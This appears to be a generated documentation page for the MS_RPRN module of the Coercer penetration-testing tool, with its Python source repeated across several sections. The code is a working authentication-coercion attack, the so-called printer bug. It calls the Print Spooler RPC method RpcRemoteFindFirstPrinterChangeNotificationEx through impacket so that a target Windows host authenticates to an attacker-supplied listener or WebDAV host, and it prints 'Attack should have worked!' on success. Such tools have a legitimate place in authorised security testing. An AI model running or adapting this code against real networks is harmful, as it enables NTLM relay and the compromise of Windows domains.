coercer.protocols.MS_RPRN

 1#!/usr/bin/env python3
 2# -*- coding: utf-8 -*-
 3# File name          : MS_RPRN.py
 4# Author             : Podalirius (@podalirius_)
 5# Date created       : 9 Jul 2022
 6
 7
 8import sys
 9import random
10from coercer.utils.RPCProtocol import RPCProtocol, DCERPCSessionError
11from impacket.dcerpc.v5 import rprn
12from impacket.dcerpc.v5.dtypes import NULL
13
14
15def gen_random_name(length=8):
16    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
17    name = ""
18    for k in range(length):
19        name += random.choice(alphabet)
20    return name
21
22
23class MS_RPRN(RPCProtocol):
24    name = "[MS-RPRN]: Print System Remote Protocol"
25    shortname = "MS-RPRN"
26    uuid = "12345678-1234-ABCD-EF00-0123456789AB"
27    version = "1.0"
28    available_pipes = [r"\PIPE\spoolss"]
29
30    def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
31        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
32        # Finding credits:
33        call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65
34        if self.dce is not None:
35            tries = 0
36            while tries <= max_retries:
37                tries += 1
38                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
39                sys.stdout.flush()
40                try:
41                    resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)
42
43                    request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
44                    request['hPrinter'] = resp['pHandle']
45                    request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
46                    if self.webdav_host is not None and self.webdav_port is not None:
47                        request['pszLocalMachine'] = '\\\\%s@%d/%s\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3))
48                    else:
49                        request['pszLocalMachine'] = '\\\\%s\x00' % listener
50                    request['pOptions'] = NULL
51                    if self.debug:
52                        request.dump()
53                    self.dce.request(request)
54                except Exception as e:
55                    if "rpc_s_access_denied" in str(e):
56                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
57                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
58                        return False
59                    else:
60                        print("\x1b[1;91m%s\x1b[0m" % str(e))
61                        if self.debug:
62                            pass
63        else:
64            if self.verbose:
65                print("[!] Error: dce is None, you must call connect() first.")
66
67    @classmethod
68    def list_coerce_methods(cls):
69        return [
70            ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None)
71        ]
72
73    def perform_coerce_calls(self, listener):
74        if listener is not None:
75            self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)
def gen_random_name(length=8):
16def gen_random_name(length=8):
17    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
18    name = ""
19    for k in range(length):
20        name += random.choice(alphabet)
21    return name
class MS_RPRN(coercer.utils.RPCProtocol.RPCProtocol):
24class MS_RPRN(RPCProtocol):
25    name = "[MS-RPRN]: Print System Remote Protocol"
26    shortname = "MS-RPRN"
27    uuid = "12345678-1234-ABCD-EF00-0123456789AB"
28    version = "1.0"
29    available_pipes = [r"\PIPE\spoolss"]
30
31    def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
32        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
33        # Finding credits:
34        call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65
35        if self.dce is not None:
36            tries = 0
37            while tries <= max_retries:
38                tries += 1
39                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
40                sys.stdout.flush()
41                try:
42                    resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)
43
44                    request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
45                    request['hPrinter'] = resp['pHandle']
46                    request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
47                    if self.webdav_host is not None and self.webdav_port is not None:
48                        request['pszLocalMachine'] = '\\\\%s@%d/%s\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3))
49                    else:
50                        request['pszLocalMachine'] = '\\\\%s\x00' % listener
51                    request['pOptions'] = NULL
52                    if self.debug:
53                        request.dump()
54                    self.dce.request(request)
55                except Exception as e:
56                    if "rpc_s_access_denied" in str(e):
57                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
58                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
59                        return False
60                    else:
61                        print("\x1b[1;91m%s\x1b[0m" % str(e))
62                        if self.debug:
63                            pass
64        else:
65            if self.verbose:
66                print("[!] Error: dce is None, you must call connect() first.")
67
68    @classmethod
69    def list_coerce_methods(cls):
70        return [
71            ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None)
72        ]
73
74    def perform_coerce_calls(self, listener):
75        if listener is not None:
76            self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)

Documentation for class RPCProtocol

def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
31    def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3):
32        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
33        # Finding credits:
34        call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65
35        if self.dce is not None:
36            tries = 0
37            while tries <= max_retries:
38                tries += 1
39                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
40                sys.stdout.flush()
41                try:
42                    resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target)
43
44                    request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
45                    request['hPrinter'] = resp['pHandle']
46                    request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
47                    if self.webdav_host is not None and self.webdav_port is not None:
48                        request['pszLocalMachine'] = '\\\\%s@%d/%s\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3))
49                    else:
50                        request['pszLocalMachine'] = '\\\\%s\x00' % listener
51                    request['pOptions'] = NULL
52                    if self.debug:
53                        request.dump()
54                    self.dce.request(request)
55                except Exception as e:
56                    if "rpc_s_access_denied" in str(e):
57                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
58                        print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m")
59                        return False
60                    else:
61                        print("\x1b[1;91m%s\x1b[0m" % str(e))
62                        if self.debug:
63                            pass
64        else:
65            if self.verbose:
66                print("[!] Error: dce is None, you must call connect() first.")
@classmethod
def list_coerce_methods(cls):
68    @classmethod
69    def list_coerce_methods(cls):
70        return [
71            ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None)
72        ]
def perform_coerce_calls(self, listener):
74    def perform_coerce_calls(self, listener):
75        if listener is not None:
76            self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener)